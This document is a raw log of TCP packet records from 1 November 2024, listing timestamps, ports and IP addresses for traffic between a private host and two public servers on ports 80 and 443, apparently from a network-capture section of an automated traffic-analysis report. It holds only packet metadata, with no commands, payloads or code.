Nov 1, 2024 05:02:29.553570986 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.553596973 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.553606033 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.553618908 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.553634882 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.628802061 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:29.628875017 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:29.628978014 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:29.629162073 CET	59853	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:29.629168034 CET	443	59853	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:29.669105053 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669173956 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669193029 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669207096 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669240952 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669291019 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669301987 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669302940 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669342041 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669416904 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669434071 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669459105 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669495106 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669745922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669765949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669807911 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669861078 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669903040 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669939041 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669951916 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.669981003 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.669998884 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.670054913 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670279026 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670331001 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.670344114 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670356989 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670382023 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.670403004 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.670496941 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670507908 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670521975 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.670542002 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.670567036 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.740653038 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:29.740678072 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:29.740792990 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:29.741548061 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:29.741561890 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:29.788088083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788101912 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788113117 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788173914 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788224936 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788239956 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788252115 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788263083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788275957 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788290977 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788331032 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788389921 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788402081 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788413048 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788424015 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788434982 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788444042 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788446903 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788460016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788465977 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788474083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788484097 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788491011 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788497925 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788510084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788511992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788522005 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788532972 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788535118 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788544893 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788557053 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.788563967 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788583040 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.788599014 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.903872013 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.903883934 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.903951883 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.904025078 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904037952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904050112 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904061079 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904076099 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.904100895 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.904139996 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.904372931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904386997 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904433966 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.904561996 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904575109 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904586077 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.904616117 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.904648066 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.905087948 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905100107 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905112028 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905142069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.905175924 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.905246973 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905258894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905268908 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905278921 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905289888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.905291080 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.905327082 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.906033039 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.906044006 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.906054974 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:29.906085014 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:29.906112909 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021126032 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021143913 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021155119 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021181107 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021222115 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021272898 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021301985 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021312952 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021323919 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021342039 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021363020 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021423101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021464109 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021591902 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021604061 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021645069 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021811008 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021878004 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.021958113 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.021975040 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022005081 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022022009 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022147894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022166967 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022178888 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022188902 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022212982 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022495031 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022535086 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022687912 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022699118 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022715092 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022727013 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022738934 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022773981 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.022885084 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022897005 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.022938967 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.023020983 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.023073912 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.137489080 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137501001 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137511015 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137563944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137566090 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.137625933 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.137639999 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137700081 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137712002 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137725115 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.137773037 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.137898922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137948036 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.137949944 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.137963057 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138000011 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.138148069 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138215065 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138226032 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138263941 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.138346910 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138358116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138391972 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.138425112 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.138698101 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138744116 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138747931 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138791084 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.138859987 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138971090 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138982058 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.138993025 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.139002085 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.139013052 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.139039993 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.139425039 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.139468908 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.139487028 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.139498949 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.139535904 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.139569044 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.139874935 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.254770994 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.254888058 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.254900932 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.254956961 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.254971027 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255040884 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255076885 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255148888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255148888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255148888 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255189896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255224943 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255273104 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255321980 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255337000 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255362034 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255405903 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255444050 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255455017 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255465984 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255477905 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255484104 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255491018 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255506992 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255533934 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255855083 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255909920 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.255914927 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255928040 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.255964994 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.256114960 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.256170988 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.256182909 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.256221056 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.256304026 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.256315947 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.256357908 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.297032118 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.297044039 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.297141075 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.342075109 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.342202902 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.371620893 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371639967 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371650934 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371666908 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371722937 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371773005 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371783972 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371884108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.371884108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.371884108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.371928930 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.371997118 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372008085 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372040987 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372060061 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372133970 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372181892 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372210979 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372222900 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372252941 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372267008 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372360945 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372399092 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372428894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372442007 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372473001 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372483969 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372558117 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372570992 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372602940 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372812986 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372905016 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372916937 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372927904 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.372950077 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.372972012 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.373092890 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.373266935 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.373298883 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.373310089 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.373327017 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.373356104 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.423813105 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.423832893 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.424134016 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.425307035 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.425334930 CET	59855	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:30.425369978 CET	443	59855	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:30.457993984 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.458120108 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.458266020 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.458266020 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.458298922 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.461102009 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.488754988 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.488800049 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.488893986 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.488967896 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489018917 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489031076 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489115953 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489165068 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489180088 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489180088 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489195108 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489221096 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489269972 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489283085 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489295006 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489311934 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489336014 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489444017 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489487886 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489546061 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489605904 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489617109 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489645004 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489677906 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.489761114 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489773989 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489784956 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.489880085 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.490065098 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490104914 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.490124941 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490138054 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490179062 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.490288973 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490300894 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490359068 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.490412951 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490423918 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490432978 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.490459919 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.490473032 CET	59854	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:30.574142933 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.574186087 CET	80	59854	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:30.574198961 CET	80	59854	185.215.113.16	192.168.2.5
